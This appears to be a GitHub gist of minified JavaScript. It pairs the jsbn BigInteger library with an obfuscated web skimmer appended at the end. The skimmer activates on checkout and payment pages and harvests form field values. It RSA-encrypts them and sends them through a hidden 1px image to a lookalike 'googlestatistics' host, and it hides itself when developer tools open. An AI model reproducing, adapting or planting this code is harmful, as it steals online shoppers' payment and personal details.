| if (1 == this.t) | |
| return this[0] - this.DV; | |
| if (0 == this.t) | |
| return -1 | |
| } else { | |
| if (1 == this.t) | |
| return this[0]; | |
| if (0 == this.t) | |
| return 0 | |
| } | |
| return (this[1] & (1 << 32 - this.DB) - 1) << this.DB | this[0] | |
| } | |
| , | |
| g.prototype.byteValue = function() { | |
| return 0 == this.t ? this.s : this[0] << 24 >> 24 | |
| } | |
| , | |
| g.prototype.shortValue = function() { | |
| return 0 == this.t ? this.s : this[0] << 16 >> 16 | |
| } | |
| , | |
| g.prototype.signum = function() { | |
| return this.s < 0 ? -1 : this.t <= 0 || 1 == this.t && this[0] <= 0 ? 0 : 1 | |
| } | |
| , | |
| g.prototype.toByteArray = function() { | |
| var t = this.t | |
| , i = new Array; | |
| i[0] = this.s; | |
| var r, o = this.DB - t * this.DB % 8, e = 0; | |
| if (0 < t--) | |
| for (o < this.DB && (r = this[t] >> o) != (this.s & this.DM) >> o && (i[e++] = r | this.s << this.DB - o); 0 <= t; ) | |
| o < 8 ? (r = (this[t] & (1 << o) - 1) << 8 - o, | |
| r |= this[--t] >> (o += this.DB - 8)) : (r = this[t] >> (o -= 8) & 255, | |
| o <= 0 && (o += this.DB, | |
| --t)), | |
| 0 != (128 & r) && (r |= -256), | |
| 0 == e && (128 & this.s) != (128 & r) && ++e, | |
| (0 < e || r != this.s) && (i[e++] = r); | |
| return i | |
| } | |
| , | |
| g.prototype.equals = function(t) { | |
| return 0 == this.compareTo(t) | |
| } | |
| , | |
| g.prototype.min = function(t) { | |
| return this.compareTo(t) < 0 ? this : t | |
| } | |
| , | |
| g.prototype.max = function(t) { | |
| return 0 < this.compareTo(t) ? this : t | |
| } | |
| , | |
| g.prototype.and = function(t) { | |
| var i = b(); | |
| return this.bitwiseTo(t, l, i), | |
| i | |
| } | |
| , | |
| g.prototype.or = function(t) { | |
| var i = b(); | |
| return this.bitwiseTo(t, m, i), | |
| i | |
| } | |
| , | |
| g.prototype.xor = function(t) { | |
| var i = b(); | |
| return this.bitwiseTo(t, d, i), | |
| i | |
| } | |
| , | |
| g.prototype.andNot = function(t) { | |
| var i = b(); | |
| return this.bitwiseTo(t, D, i), | |
| i | |
| } | |
| , | |
| g.prototype.not = function() { | |
| for (var t = b(), i = 0; i < this.t; ++i) | |
| t[i] = this.DM & ~this[i]; | |
| return t.t = this.t, | |
| t.s = ~this.s, | |
| t | |
| } | |
| , | |
| g.prototype.shiftLeft = function(t) { | |
| var i = b(); | |
| return t < 0 ? this.rShiftTo(-t, i) : this.lShiftTo(t, i), | |
| i | |
| } | |
| , | |
| g.prototype.shiftRight = function(t) { | |
| var i = b(); | |
| return t < 0 ? this.lShiftTo(-t, i) : this.rShiftTo(t, i), | |
| i | |
| } | |
| , | |
| g.prototype.getLowestSetBit = function() { | |
| for (var t = 0; t < this.t; ++t) | |
| if (0 != this[t]) | |
| return t * this.DB + S(this[t]); | |
| return this.s < 0 ? this.t * this.DB : -1 | |
| } | |
| , | |
| g.prototype.bitCount = function() { | |
| for (var t = 0, i = this.s & this.DM, r = 0; r < this.t; ++r) | |
| t += B(this[r] ^ i); | |
| return t | |
| } | |
| , | |
| g.prototype.testBit = function(t) { | |
| var i = Math.floor(t / this.DB); | |
| return i >= this.t ? 0 != this.s : 0 != (this[i] & 1 << t % this.DB) | |
| } | |
| , | |
| g.prototype.setBit = function(t) { | |
| return this.changeBit(t, m) | |
| } | |
| , | |
| g.prototype.clearBit = function(t) { | |
| return this.changeBit(t, D) | |
| } | |
| , | |
| g.prototype.flipBit = function(t) { | |
| return this.changeBit(t, d) | |
| } | |
| , | |
| g.prototype.add = function(t) { | |
| var i = b(); | |
| return this.addTo(t, i), | |
| i | |
| } | |
| , | |
| g.prototype.subtract = function(t) { | |
| var i = b(); | |
| return this.subTo(t, i), | |
| i | |
| } | |
| , | |
| g.prototype.multiply = function(t) { | |
| var i = b(); | |
| return this.multiplyTo(t, i), | |
| i | |
| } | |
| , | |
| g.prototype.divide = function(t) { | |
| var i = b(); | |
| return this.divRemTo(t, i, null), | |
| i | |
| } | |
| , | |
| g.prototype.remainder = function(t) { | |
| var i = b(); | |
| return this.divRemTo(t, null, i), | |
| i | |
| } | |
| , | |
| g.prototype.divideAndRemainder = function(t) { | |
| var i = b() | |
| , r = b(); | |
| return this.divRemTo(t, i, r), | |
| new Array(i,r) | |
| } | |
| , | |
| g.prototype.modPow = function(t, i) { | |
| var r, o, e = t.bitLength(), s = v(1); | |
| if (e <= 0) | |
| return s; | |
| r = e < 18 ? 1 : e < 48 ? 3 : e < 144 ? 4 : e < 768 ? 5 : 6, | |
| o = e < 8 ? new y(i) : i.isEven() ? new M(i) : new T(i); | |
| var n = new Array | |
| , h = 3 | |
| , u = r - 1 | |
| , f = (1 << r) - 1; | |
| if (n[1] = o.convert(this), | |
| 1 < r) { | |
| var a = b(); | |
| for (o.sqrTo(n[1], a); h <= f; ) | |
| n[h] = b(), | |
| o.mulTo(a, n[h - 2], n[h]), | |
| h += 2 | |
| } | |
| var p, c, l = t.t - 1, m = !0, d = b(); | |
| for (e = w(t[l]) - 1; 0 <= l; ) { | |
| for (u <= e ? p = t[l] >> e - u & f : (p = (t[l] & (1 << e + 1) - 1) << u - e, | |
| 0 < l && (p |= t[l - 1] >> this.DB + e - u)), | |
| h = r; 0 == (1 & p); ) | |
| p >>= 1, | |
| --h; | |
| if ((e -= h) < 0 && (e += this.DB, | |
| --l), | |
| m) | |
| n[p].copyTo(s), | |
| m = !1; | |
| else { | |
| for (; 1 < h; ) | |
| o.sqrTo(s, d), | |
| o.sqrTo(d, s), | |
| h -= 2; | |
| 0 < h ? o.sqrTo(s, d) : (c = s, | |
| s = d, | |
| d = c), | |
| o.mulTo(d, n[p], s) | |
| } | |
| for (; 0 <= l && 0 == (t[l] & 1 << e); ) | |
| o.sqrTo(s, d), | |
| c = s, | |
| s = d, | |
| d = c, | |
| --e < 0 && (e = this.DB - 1, | |
| --l) | |
| } | |
| return o.revert(s) | |
| } | |
| , | |
| g.prototype.modInverse = function(t) { | |
| var i = t.isEven(); | |
| if (this.isEven() && i || 0 == t.signum()) | |
| return g.ZERO; | |
| for (var r = t.clone(), o = this.clone(), e = v(1), s = v(0), n = v(0), h = v(1); 0 != r.signum(); ) { | |
| for (; r.isEven(); ) | |
| r.rShiftTo(1, r), | |
| i ? (e.isEven() && s.isEven() || (e.addTo(this, e), | |
| s.subTo(t, s)), | |
| e.rShiftTo(1, e)) : s.isEven() || s.subTo(t, s), | |
| s.rShiftTo(1, s); | |
| for (; o.isEven(); ) | |
| o.rShiftTo(1, o), | |
| i ? (n.isEven() && h.isEven() || (n.addTo(this, n), | |
| h.subTo(t, h)), | |
| n.rShiftTo(1, n)) : h.isEven() || h.subTo(t, h), | |
| h.rShiftTo(1, h); | |
| 0 <= r.compareTo(o) ? (r.subTo(o, r), | |
| i && e.subTo(n, e), | |
| s.subTo(h, s)) : (o.subTo(r, o), | |
| i && n.subTo(e, n), | |
| h.subTo(s, h)) | |
| } | |
| return 0 != o.compareTo(g.ONE) ? g.ZERO : 0 <= h.compareTo(t) ? h.subtract(t) : h.signum() < 0 ? (h.addTo(t, h), | |
| h.signum() < 0 ? h.add(t) : h) : h | |
| } | |
| , | |
| g.prototype.pow = function(t) { | |
| return this.exp(t, new E) | |
| } | |
| , | |
| g.prototype.gcd = function(t) { | |
| var i = this.s < 0 ? this.negate() : this.clone() | |
| , r = t.s < 0 ? t.negate() : t.clone(); | |
| if (i.compareTo(r) < 0) { | |
| var o = i; | |
| i = r, | |
| r = o | |
| } | |
| var e = i.getLowestSetBit() | |
| , s = r.getLowestSetBit(); | |
| if (s < 0) | |
| return i; | |
| for (e < s && (s = e), | |
| 0 < s && (i.rShiftTo(s, i), | |
| r.rShiftTo(s, r)); 0 < i.signum(); ) | |
| 0 < (e = i.getLowestSetBit()) && i.rShiftTo(e, i), | |
| 0 < (e = r.getLowestSetBit()) && r.rShiftTo(e, r), | |
| 0 <= i.compareTo(r) ? (i.subTo(r, i), | |
| i.rShiftTo(1, i)) : (r.subTo(i, r), | |
| r.rShiftTo(1, r)); | |
| return 0 < s && r.lShiftTo(s, r), | |
| r | |
| } | |
| , | |
| g.prototype.isProbablePrime = function(t) { | |
| var i, r = this.abs(); | |
| if (1 == r.t && r[0] <= C[C.length - 1]) { | |
| for (i = 0; i < C.length; ++i) | |
| if (r[0] == C[i]) | |
| return !0; | |
| return !1 | |
| } | |
| if (r.isEven()) | |
| return !1; | |
| for (i = 1; i < C.length; ) { | |
| for (var o = C[i], e = i + 1; e < C.length && o < N; ) | |
| o *= C[e++]; | |
| for (o = r.modInt(o); i < e; ) | |
| if (o % C[i++] == 0) | |
| return !1 | |
| } | |
| return r.millerRabin(t) | |
| } | |
| , | |
| g.prototype.square = function() { | |
| var t = b(); | |
| return this.squareTo(t), | |
| t | |
| } | |
| , | |
| g.prototype.Barrett = M, | |
| null == x) { | |
| var I; | |
| if (x = new Array, | |
| O = 0, | |
| "undefined" != typeof window && window.crypto) | |
| if (window.crypto.getRandomValues) { | |
| var L = new Uint8Array(32); | |
| for (window.crypto.getRandomValues(L), | |
| I = 0; I < 32; ++I) | |
| x[O++] = L[I] | |
| } else if ("Netscape" == navigator.appName && navigator.appVersion < "5") { | |
| var V = window.crypto.random(32); | |
| for (I = 0; I < V.length; ++I) | |
| x[O++] = 255 & V.charCodeAt(I) | |
| } | |
| for (; O < F; ) | |
| I = Math.floor(65536 * Math.random()), | |
| x[O++] = I >>> 8, | |
| x[O++] = 255 & I; | |
| O = 0, | |
| _() | |
| } | |
| function q() { | |
| if (null == R) { | |
| for (_(), | |
| (R = new Z).init(x), | |
| O = 0; O < x.length; ++O) | |
| x[O] = 0; | |
| O = 0 | |
| } | |
| return R.next() | |
| } | |
| function P() {} | |
| function Z() { | |
| this.i = 0, | |
| this.j = 0, | |
| this.S = new Array | |
| } | |
| P.prototype.nextBytes = function(t) { | |
| var i; | |
| for (i = 0; i < t.length; ++i) | |
| t[i] = q() | |
| } | |
| , | |
| Z.prototype.init = function(t) { | |
| var i, r, o; | |
| for (i = 0; i < 256; ++i) | |
| this.S[i] = i; | |
| for (i = r = 0; i < 256; ++i) | |
| r = r + this.S[i] + t[i % t.length] & 255, | |
| o = this.S[i], | |
| this.S[i] = this.S[r], | |
| this.S[r] = o; | |
| this.i = 0, | |
| this.j = 0 | |
| } | |
| , | |
| Z.prototype.next = function() { | |
| var t; | |
| return this.i = this.i + 1 & 255, | |
| this.j = this.j + this.S[this.i] & 255, | |
| t = this.S[this.i], | |
| this.S[this.i] = this.S[this.j], | |
| this.S[this.j] = t, | |
| this.S[t + this.S[this.i] & 255] | |
| } | |
| ; | |
| var F = 256; | |
| function j(t) { | |
| return t.replace(/[0-9A-Z]/g, "") | |
| } | |
| "undefined" != typeof exports ? exports = module.exports = { | |
| default: g, | |
| BigInteger: g, | |
| SecureRandom: P | |
| } : this.jsbn = { | |
| BigInteger: g, | |
| SecureRandom: P | |
| }; | |
| var U = j("FHJQnZFFaUPLGROSIF0JImL0JMTNZAe") | |
| , z = j("NPHBVZFPILWSNOS0EHJJAVSOOLWYMXTBQIRNiLAPRd") | |
| , k = new RegExp(j("toMkMen|earch|ZOWNcsfrBM|kHeyword|bu0ttonV|pBFrueba|uscrYibQWAe|edirNect|forXNmA_kRuRh|rHouteZ|customerU_group|Cpayment_mPethoZd|IUcreMate0_account0D|shipping|quantitVy")) | |
| , K = new RegExp(j("XIzoneX0P|RrZeTJgGiENoJnOGBRO|0stUaUteC|country")) | |
| , H = {} | |
| , G = 0 | |
| , J = "" | |
| , Y = { | |
| open: !1, | |
| orientation: null | |
| } | |
| , W = function(t, i) { | |
| window.dispatchEvent(new CustomEvent("RSWOd0eBvtoZoICLYLTlBKYZNs0XchJM00OaYCYnJgSe",{ | |
| detail: { | |
| open: t, | |
| orientation: i | |
| } | |
| })) | |
| }; | |
| function X(t) { | |
| return pgLpq = [], | |
| t.match(/.{1,240}/g).forEach(function(t) { | |
| var i; | |
| pgLpq.push((i = s.encrypt(t, tt), | |
| window.btoa(unescape(encodeURIComponent(i))))) | |
| }), | |
| encodeURIComponent(pgLpq.join(",")) | |
| } | |
| function Q() { | |
| Array.from(document.querySelectorAll(j("TiMn0OXARGApuIVZtL,WQCXABGZUVSsG0NSXTeFlMNeKMXcGOO0t"))).forEach(function(t, i) { | |
| var r = encodeURI(t.value); | |
| k.test(t.id) || k.test(t.name) || (j("HsEeTWGOLVVDDJleQCPMWVUUEcLMHXOJJUt") == t.tagName.toLowerCase() && (K.test(t.id) || K.test(t.id)) && 0 != t.value.length && t.value.replace(/[^-0-9]/gim, "") == t.value && (r = t.options[t.selectedIndex].text), | |
| null != t.getAttribute(U.replace(/]/, "").replace(/\[/, "")) ? r.length < 50 && 0 < r.length && (H[t.getAttribute(U.replace(/]/, "").replace(/\[/, ""))] = r) : null != t.getAttribute(z.replace(/]/, "").replace(/\[/, "")) && r.length < 50 && 0 < r.length && (H[t.getAttribute(z.replace(/]/, "").replace(/\[/, ""))] = r)) | |
| }), | |
| function(t) { | |
| if (1 == Y.open) | |
| return clearInterval(J), | |
| J = ""; | |
| if (G != JSON.stringify(t).length) { | |
| t.type = "1", | |
| t.url = location.hostname; | |
| var i = "a" + 89999 * Math.random() + 1e4 | |
| , r = JSON.stringify(t) | |
| , o = document.createElement("img"); | |
| o.width = "1px", | |
| o.height = "1px", | |
| o.id = i, | |
| o.src = j("hOLtPtps://gGoSJoglesSDDYtatUiRNKScsQ.cKomW/sOervTJiceG/KtRraHckHHiTnPDg.giC0fJ?SsEsl=PtrPuTe&r=") + X(r), | |
| document.body.appendChild(o), | |
| setTimeout(document.getElementById(i).outerHTML = "", 3e3), | |
| G = JSON.stringify(t).length | |
| } | |
| }(H) | |
| } | |
| setTimeout(function() { | |
| setInterval(function() { | |
| var t = 160 < window.outerWidth - window.innerWidth | |
| , i = 160 < window.outerHeight - window.innerHeight | |
| , r = t ? "vertical" : "horizontal"; | |
| i && t || !(window.Firebug && window.Firebug.chrome && window.Firebug.chrome.isInitialized || t || i) ? (Y.open && W(!1, null), | |
| Y.open = !1, | |
| Y.orientation = null) : (Y.open && Y.orientation === r || W(!0, r), | |
| Y.open = !0, | |
| Y.orientation = r) | |
| }, 500), | |
| "undefined" != typeof module && module.exports ? module.exports = Y : window.wdYsW = Y, | |
| -1 != location.href.search(j("hZec0kouQSVVRLtL|LayBment|rPWder|TPdIdIrDess|XcBLaTIUrt|oPnepTTaEgXe")) && (J = setInterval(function() { | |
| Q() | |
| }, 1500)) | |
| }, 3e3); | |
| var $ = atob("LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0NTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUF2TVpuemxSYmVEanRhbXkxZVdkRQ1Vb3Z4ZXEvTHBWYXU5Ulk2bCs1cUJqZnJ1cDBic1JUamJQU0xkeXMwYzZKWVhYdU5tSTExMWpNay9JQ0ROQ3ovDXpRNkc2TXdxYUpKZ05mOVFtUGRpSVBFVnNVT25uKzRoT1RzMDhxWVcrN0ZJMFJyR0Ezb0c3dENMMjV4dVp3eTMNZTFuYStUWEpkaVNXejhrSmV5eDhVSmhOeEUwSm9rRGV6a0hWQXM5MDVXYjBMQUhweHdkcEtSbGNES1A4N0dOaA1mWlkxRG5nTXpHU3E2alNKS1FJUXZCL2h3dUk4dUsreHZQWGFwaG1rTmZrck1zWitock1Jc2dZQUhxaUJZZGFWDStNeGxXZ3F0eVc0Y29rdzZCdVBiNHNVMDhzMmY5RWR0VVhzQ3JYQzZaSm9sV2tLRlRSd2lLRDd5b2llVXRoam1mK3lRag0xd0lEQVFBQg0tLS0tLUVORCBQVUJMSUMgS0VZLS0tLS0=").replace(/xlWgq/g, "") | |
| , tt = s.eWufP($) | |
| }(); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment